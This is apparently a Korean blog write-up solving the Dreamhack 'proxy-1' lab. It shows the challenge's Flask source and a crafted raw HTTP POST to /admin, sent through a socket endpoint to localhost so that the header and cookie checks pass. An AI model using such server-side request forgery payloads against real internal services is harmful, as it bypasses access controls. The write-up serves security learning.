proxy-1 풀이

문제 페이지에 접속하면 Socket 엔드포인트를 확인할 수 있다.

image-20240215185609518

image-20240215185651111

소스 코드

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)


socket 엔드포인트부터 소스 코드를 분석해보면 POST 메소드로 host와 int형인 port, data 값을 받아와서 소켓을 생성하고, 호스트와 포트로 소켓을 연결한 후 data 변수에 저장된 문자열을 인코딩하여 전송된다. 그리고 소켓으로 1024바이트의 데이터를 수신해서 보여주는 것 같다.

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


Burp Suite를 이용해 아래와 같이 127.0.0.1:8080으로 data=data로 테스트 해보았다.

image-20240215192250101


Connection refused 오류가 발생한 걸 볼 수 있다. 이제 소스 코드를 조금 더 읽어보아야 한다.

image-20240215192325454


admin 엔드포인트도 존재하는 걸 알 수 있는데, remote_addr이 127.0.0.1이며, User-Agent가 Admin Brower이어야 하고, DreamhackUser 헤더도 admin, admin이란 이름의 쿠키도 존재해야하고, 데이터는 userid=’admin’이 들어가야 한다.

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)


그럼 socket 엔드포인트를 이용해 admin 엔드포인트 조건에 맞게 헤더들을 추가해준 후 요청하면 flag가 반환될 수 있다. Data 부분에 작성해야 할 부분은 아래와 같다. POST 메소드로 admin 엔드포인트를 요청하고, 위에서 읽은 조건대로 User-Agent, DreamhackUser, Cookie 헤더들을 추가해주고, 여기서 중요한 점은 항상 POST 요청으로 아래 데이터를 삽입하여 보내기 위해서는 Content-Type과 Content-Length 헤더가 있어야 하고 application/x-www-form-urlencoded 까지 작성해주면 데이터를 올바르게 보낼 수 있다.

POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type:application/x-www-form-urlencoded
Content-Length: 12

userid=admin

image-20240215194136849

image-20240215194432431

댓글남기기